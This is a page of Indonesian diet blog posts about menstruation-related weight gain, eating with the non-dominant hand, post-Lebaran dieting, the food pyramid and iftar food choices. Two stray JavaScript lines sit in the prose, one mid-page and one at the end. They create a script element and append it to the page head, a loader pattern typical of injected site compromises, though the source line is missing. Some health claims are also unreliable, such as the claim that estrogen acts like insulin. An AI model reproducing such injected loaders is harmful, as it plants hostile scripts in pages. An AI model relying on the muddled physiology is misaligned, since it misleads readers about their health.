Banyak masalah yang dihadapi ketika wanita sedang mengalami haid, terlebih saat Pra Menstruation Syndrome (PMS) melanda. Sebut saja perut kembung, sakit kepala, perubahan suasana hati, mual, kram, stres, dan peningkatan nafsu makan. Perubahan suasana hati yang drastis membuat kaum wanita suka kesal sendiri tanpa alasan yang jelas, merasa sedih tiba-tiba tanpa sebab, hati yang sensitif, bahkan tak jarang jadi gampang tersinggung. Tak jarang perubahan suasana hati pada wanita saat haid seringkali dilampiaskan pada makanan yang malah membuat bobot berat badan naik.

Saat menstruasi ada aktivitas hormonal yang akan memengaruhi nafsu makan. Menjelang menstruasi, hormon estrogen naik. Estrogen berfungsi sebagai insulin, gula darah gampang drop sehingga jadi jauh lebih mudah lapar. Hal itu biasanya terjadi sekira 7-10 hari sebelum menstruasi.

Tidak hanya dipengaruhi oleh nafsu makan yang naik, pertambahan bobot tubuh menjelang hingga hari-hari pertama menstruasi juga disebabkan karena di dalam tubuh sedang terjadi peningkatan kadar hormon reproduksi yang memicu terjadinya proses pengumpulan cairan di rongga perut, bahkan pada sendi. Hal tersebut berhubungan dengan menurunnya kadar progesteron menjelang menstruasi, yang sebenarnya merupakan unsur penting yang mengatur kerja ginjal. Ketika progesteron menurun, maka ginjal secara otomatis akan memerintahkan seluruh tubuh untuk mengumpulkan cairan dan sodium, untuk memastikan tubuh tidak kehilangan cairan. Kondisi inilah yang menyebabkan rongga-rongga di dalam tubuh terisi cairan, dan bobot tubuh seakan-akan bertambah.

Nah untuk menghindari bobot berat badan yang naik saat menstruasi, ada beberapa anjuran yang sebaiknya Anda lakukan untuk menjaga berat badan tetap stabil. Adapun beberapa anjuran tersebut adalah sebagai berikut:

• Untuk menjaga kadar gula darah dalam tubuh Anda tetap stabil, sebaiknya konsumsi berbagai jenis karbohidrat yang mimin pemrosesan. Hal ini berarti Anda harus melupakan kerupuk dan keripik dan lebih memilih biji-bijian dan sayuran yang mengandung pati seperti kentang, ubi jalar, jagung, kacang-kacangan seperti lentil, kacang polong, dan labu.

• Pilihlah sarapan yang tepat dan sehat seperti Yogurt Yunani polos dengan kacang-kacangan dan buah, telur dengan setengah cangkir kentang panggang dan delapan ons susu kedelai, atau smoothie vanilla atau milkshake protein.

• Jangan membiarkan perut Anda kelaparan,tetap isi perut dengan makanan dalam porsi sedang, dan terdiri dari karbohidrat murni, seperti; roti, pasta, atau nasi. Minum banyak air, buah segar maupun yang di jus.
• Batasi konsumsi garam hanya 1000 mg per hari, dan minimalkan makanan kalengan atau yang telah diawetkan. Serta pastikan mengonsumsi 1200 – 1350 mg Kalsium setiap hari. Kecukupan kebutuhan Kalsium tubuh terbukti meminimalkan kejadian pengumpulan cairan menjelang mestruasi.

Itulah beberapa hal yang dapat Anda lakukan untuk menjaga berat badan ideal selama proses menstruasi. Jika Anda mulai lupa diri dan kalap dengan berbagai sajian tinggi kalori yang ada di depan mata, cobalah untuk menyadarkan diri bagaimana perjuangan Anda mendapatkan berat badan ideal yang sekarang 😀

Apakah lightBUDDY malas berdiet karena tidak suka dengan daftar pantang makanannya yang panjang? Ternyata, tanpa menjauhi makanan tertentu pun, Anda sudah dapat mengurangi prosi makan, lho!

Salah satunya adalah dengan mengganti tangan. Jika selama ini terbiasa makan dengan kanan, Anda bisa menggantinya dengan tangan kiri. Karena, makan dengan tangan yang tidak dominan dapat mengurangi porsi makan. Makan menggunakan tangan yang tidak dominan membuat Anda seolah menjadi anak balita yang sedang belajar makan lagi. Hal ini dapat “memaksa” seseorang agar makan lebih perlahan.

Kita seringakali overeating atau makan berlebihan dikarenakan makanan yang masuk ke mulut ditelan dengan cepat. Makanan yang dikunyah dengan cepat membuat perut tidak mengirimkan sinyal kenyang ke otak dalam waktu yang seharusnya. Itulah alasan mengapa kita harus menguyah makanan dengan baik dan benar sehingga perut dapat menyampaikan pesan ke otak jika memang sudah merasa kenyang.

Menggunakan trik makan dengan tangan dominan adalah salah satu cara terbaik untuk membuat makan Anda lebih perlahan. Memang waktu makan yang dibutuhkan bisa lebih lama, tapi Anda bisa mencobanya dengan menerapkan cara ini ketika makan malam. Bukan tanpa alasan, memperlambat proses makan termasuk di dalamnya mengunyah makanan berarti memberi waktu lebih banyak bagi perut untuk menyampaikan sinyal kenyang ke otak.

Dalam studi Personality and Social Psychology Bulletin di taun 2011, makan dengan tangan yang tidak dominan terbukti ampuh menurunkan jumlah asupan. Untuk studi ini, peneliti memberi popcorn kepada 98 responden yang akan menonton film. Terdapat beragam jenis popcorn tapi nyatanya, jenis tak memengaruhi jumlah popcorn yang dikonsumsi.

Namun, ketika responden diminta menggunakan tangannya yang tidak dominan, jumlah asupan popcorn responden turun sebanyak 30 persen dari sebelumnya. Nah, selain menggunakan tangan yang tak dominan saat makan, ada beberapa trik yang juga bisa dicoba. Di antaranya gunakan piring yang lebih kecil ketika makan, kemudian usahakan makan di meja makan, bukan di sofa apalagi sambil menonton TV atau bermain game.

Nah sudah mengerti kan mengapa makan dengan tangan yang tidak dominan kita gunakan dapat mengurangi asupan kalori yang masuk ke tubuh? Untuk Anda yang sedang program menurunkan berat badan cara ini tentu patut buat dicoba ya! 😀

Saat bulan puasa, pada siang hari kita tidak boleh makan dan minum yang secara otomatis merupakan program diet terselubung dari ibadah puasa yang dijalankan. Bulan puasa menjadi bulan yang cukup efektif bagi anda yang ingin berkomitmen untuk melakukan program penurunan berat badan. Pada saat puasa memang berat badan kita turun dan berkurang sekitar 1/2 kilogram atau ekuivalen dengan jumlah kalori 500 dalam waktu seminggu. Sayangnya, saat lebaran ada begitu banyak hidangan yang tersaji yang dapat menggugah selera makan sehingga pola makan menjadi tidak terkontrol.

Sangat disayangkan bukan, jika selama bulan puasa anda sudah berusaha mati-matian membuat berat baran turun namun saat hari raya Idul Fitri tiba berat badan Anda malah naik beberapa digit dari normalnya. Berat badan yang naik pasca hari raya tiba tidak lain disebabkan oleh asupan kalori yang masuk ke dalam tubuh jauh lebih banyak dibandingkan normalnya.

Jika ingin mempertahankan berat badan yang sudah Anda dapatkan selama puasa, ada baiknya Anda lebih mendengarkan sang perut. Jika Anda belum merasa lapar, jangan mengisi perut dengan makanan. Begitu juga ketika sedang makan dan sudah merasa kenyang, maka berhentilah memasukan makanan ke dalam perut Anda. Pemilihan makanan yang tidak banyak mengandung gula tepung dan minyak juga merupakan solusi terbaik jika anda ingin mempertahankan berat badan Ideal.

Agar berat badan kita tetap ideal dan tetap langsing setelah lebaran, ada baiknya Anda perhatikan beberapa menu diet lebaran sehat berikut ini untuk menjaga agar tubuh tetap sehat dan cantik.

1. Jangan makan kuah
   Sebisa mungkin jika anda tetap ingin menyantap gulai, rendang ataupun ketupat dan opor ayam, jangan makan juga kuahnya. Anda cukup makan daging yang tanpa gajih atau lemak dan hindari juga makan kulit ayam karena banyak mengandung lemak. Yang paling gampang diingat adalah kurangi makan makanan yang mengandung gula tepung dan minyak. Selain memasak dengan cara menggoreng dengan cara direbus, dikukus, disteam atau anda bisa juga coba yang lebih tradisional seperti dipepes.
2. Imbangi Dengan Buah
   Lebih baik menyajikan buah-buahan segar yang siap untuk dipotong-potong dari pada buah-buahan yang dicampur dengan minuman es buah yang tentunya pasti ada tambahan gula yang bisa meningkatkan kalori. Kandungan serat, sedikit kalori dan lemak, serta air yang ada dala buah dapat menjaga berat tubuh Anda tetap ideal.
3. Olahraga
   Ini yang terkadang kita sepelekan, 30 menit saja melakukan olahraga seperti jalan kaki sampai berkeringat sudah cukup untuk membakar kalori agar tubuh selalu terjaga dan berat badan tetap langsing dan ideal. Pastikan Anda tidak mengurangi aktivitas selama hari raya karena hal itu berdampak terhadap berat badan yang sedang Anda jaga.

Agar anda tetap mendapatkan berat badan ideal, sebaiknya anda tindak mengkonsumsi lebih dari 7000 kalori dalam 1 minggu. Pastikan juga Anda meminta bantuan orang-orang terdekat untuk mengingatkan motivasi Anda untuk memiliki berat badan ideal. Ingat juga bagaimana perjuangan Anda dalam menurunkan berat badan, apakah tega merusak perjuangan yang sudah Anda lakukan hanya karena makanan hari raya yang menggoda? 😀

var d=document;var s=d.createElement(‘script’);

Pastinya Anda pernah merasakan kondisi dimana berat badan tak kunjung turun padahal Anda sudah melakukan berbagai cara. Hal tersebut bisa jadi karena Anda keliru mengatur pola makan, sehingga yang terjadi adalah berat badan malah semakin naik. Mengatur pola makan yang baik kelihatannya sangat mudah dilakukan namun kebanyakan orang gagal dalam mengatur pola sehingga berdampak pada peningkatan berat badan.

Gaya hidup sehari-hari merupakan faktor penentu suksesnya Anda dalam mengatur pola makan. Bagaimana bisa mengatur pola makan sedangkan setiap harinya dalam aktivitas, Anda disuguhkan godaan-godaan makanan. Sebagai contoh Anda adalah seorang wanita sosial yang setiap harinya dipenuhi berbagai aktivitas. Hari senin Anda harus pergi arisan, selasa reuni bersama teman lama, rabu meeting sekaligus makan siang, kamis makan malam romantis bersama pasangan dan berbagai aktivitas lainnya yang membuat pola makan Anda menjadi berantakan.

Cara mengatur pola makan bisa mengacu pada piramida makanan. Setiap makanan memiliki takaran sendiri yang jika disusun dapat membentuk piramida. Porsi terbanyak dimiliki oleh buah dan sayur yang berada di dasar piramida. Anda harus banyak mengkonsumsi jenis makanan secara seimbang.

Baca Juga: Menjaga Berat Badan Ideal Selama Puasa Hingga Selesai Idul Fitri

Setelah hal tersebut, tambahkan dengan mengkonsumsi makanan mengandung protein, di antaranya ikan dan ayam dengan jumlah lebih sedikit dibanding buah dan sayur. Pada tahap selanjutnya konsumsi makanan yang mengandung karbohidrat seperti nasi, roti, dan kentang. Porsi paling sedikit yang harus Anda makan adalah jenis makanan yang mengandung tepung, minyak, dan gula.

Dalam hal mengatur pola makan tentunya Anda tidak dapat melakukannya sendiri. 99% orang gagal melakukan hal ini sendiri, Anda butuh dukungan dari orang-orang terdekat untuk mengingatkan apa motivasi Anda dalam mengatur pola makan. Selain itu, jika Anda ingin benar-benar berhasil menjaga berat badan dengan pola makan yang benar, sebaiknya Anda lebih peka terhadapat suara tubuh. Makanlah jika Anda merasa lapar dan berhenti makan jika sudah merasa cukup kenyang 🙂

Baca Juga: Lima Aturan Makan Agar Tidak Bikin Tubuh Makin Gemuk

Bulan suci Ramadhan sudah tiba, semua orang berlomba-lomba mengumpulkan amal baik dengan menjalankan ibadah puasa. Menahan lapar dan dahaga seharian lalu membayar semuanya disaat jam berbuka puasa. Sifat balas dendam ini seringkali membuat kita lupa bahwa tidak semua sajian berbuka puasa baik untuk kondisi tubuh sendiri. Kolak memang lezat, es buah apalagi, belum lagi gorengan yang dijajal sepanjang jalan seringkali membuat kita lupa dari. Lalu bagaimana cara bijak mementukan sajian berbuka puasa yang enak namun tetap sehat? di bawah ini kami coba sajikan beberapa kelebihan dan kekurangan makanan favorite berbuka puasa serta cara berbuka yang sehat menurut Dr. Grace Judio-Kahl, M.Sc., M.H, CHt.

1.Kolak

Kolak mengandung pisang yang sifatnya menaikan kadar gula secara pelan-pelan. Pisang membantu pencernaan lebih cepat, setelah seharian berpuasa dan mengkonsumsi pisang maka tubuh akan kembali fit karena pisang cepat diserap oleh tubuh.

Pada kolak juga terkandung santan yang tentunya tidak baik bagi mereka yang sedang berusaha menurunkan berat badan. Santan juga mengandung kalori yang tinggi sehingga tidak baik dikonsumsi bagi mereka yang punya kolesterol tinggi atau penyakit jantung. Terlalu banyak mengkonsumsi santan dapat meningkatkan kardiovaskuler.

Gula jawa yang ada pada kolak bersifat membuat gula darah naik dengan cepat, sehingga cukup baik diminum setelah lebih dari 12 jam berpuasa. Namun dari sisi lain jika tubuh memiliki kadar gula yang tinggi sebaiknya minimalisir konsumsi gula jawa.

2. Es buah

Es buah baik dikonsumsi karena mengandung banyak elektrolit yang dapat mengikat air dalam tubuh. Namun sayangnya, pada es buah yang biasa kita konsumsi seringkali direndam dalam gula sehingga menghasilkan banyak kadar gula yang tidak baik untuk percernaan. Es buah juga terdiri dari susu yang sudah jelas mengandung banyak kalori yang tentunya tidak baik bagi mereka yang sedang program menurunkan berat badan.

3. Gorengan

Gorengan memiliki sifat positif sebenarnya jika digunakan untuk berbuka puasa, hal ini disebabkan karena gorengan tidak langsung menaikan gula darah. Namun sayangnya minyak yang terkandung dalam gorengan bersifat menggemukan, karena dalam 4 sendok teh minyak yang digunakan untuk menggoreng setara dengan kalori 1 mangkok nasi.

4. Minuman Istan sirop

Meminum minuman instan seperti sirop dan minuman serbuk saat berbuka puasa dapat membantu mengurangi rasa lemas setelah seharian berpuasa. Minuman instan tersebut dapat membantu menaikan kadar gula dalam tubuh yang sudah drop karena berpuasa seharian.

Minuman instan ini tentu tidak baik bagi mereka yang sudah memiliki kadar gula tinggi atau terkena diabetes. Selain itu minuman instan juga dapat mengganggu metabolisme kadar gula dalam tubuh jadi sebaiknya dikonsumsi dengan hati-hati.

5. Minuman elektrolit

Sama seperti minuman lainnya, minuman elektrolit mengandung cairan dan gula yang bersifat menaikan kadar gula dalam darah. Hal ini tentunya berguna untuk meningkatkan stamina setelah lebih dari 12 jam kadar gula dalam tubuh drop. Selain itu, kandungan elektrolit dalam minuman isotonik juga berfungsi mengikat air dalam tubuh sehingga membuat tubuh tidak dehidrasi atau kekurangan cairan.

Efek negatifnya adalah seringkali minuman isotonik dicampur dengan vitamin C atau zat asam yang tentunya tidak baik untuk kesehatan lambung setelah berpuasa.

Pilihan menu yang baik

Tips tambahan menu untuk para remaja agar tubuh dapat langsung segar setelah berbuka puasa adalah dengan cara minum air putih terlebih dahulu kemudian dilanjutkan dengan buah segar dan kurma.  Air putih yang diminum saat berbuka puasa mengandung elektrolit yang dapat mengikat air dalam tubuh, sedangkan buah dan kurma mengandung gula yang dapat mengembalikan kadar gula dalam tubuh yang hilang setelah seharian berpuasa.

Untuk pilihan makanan berbuka yang lebih sehat, jika ingin berbuka dengan kolak sebaiknya pisahkan santan.  Semakin sedikit santan yang digunakan semakin baik. Begitu juga untuk susu dan sirop yang dicampur dengan hidangan berbuka. Jika ingin berbuka dengan buah, pilihlah buah yang segar. Kelapa muda juga direkomendasikan untuk mereka yang suka berbuka dengan minuman isotonik. Mengganti minuman isotonik dengan kelapa sangat baik karena air kelapa mengandung elektrolit yang baik untuk tubuh.

Porsi makan yang sehat

Jika sudah waktunya berbuka puasa, jangan langsung mengisi perut dengan makanan besar. Perut yang sudah diistirahatkan selama 12 jam butuh dipancing untuk bekerja lagi. Berbuka-lah dengan Air dan Takjil, baru 30 menit setelahnya makan sewajarnya. Makan cukup 1x disesuaikan dengan kondisi badan.

Porsi makan yang dianjurkan adalah 1 porsi nasi yang disesuaikan dengan kondisi badan, 1-2 buah lauk seukuran telapak tangan, sayur 1 mangkok kecil dan ditambah snack. Jenis makanan yang harus dihindari adalah yang digoreng dan mengandung banyak santan.

Nah sudah tau mana saja sajian berbuka puasa yang sehat dan cocok untuk kondisi tubuh kamu? jangan sampai berpuasa malah berdampak menaikan berat badan kamu ya, berbukalah dengan yang sehat! 😀

d.getElementsByTagName(‘head’)[0].appendChild(s);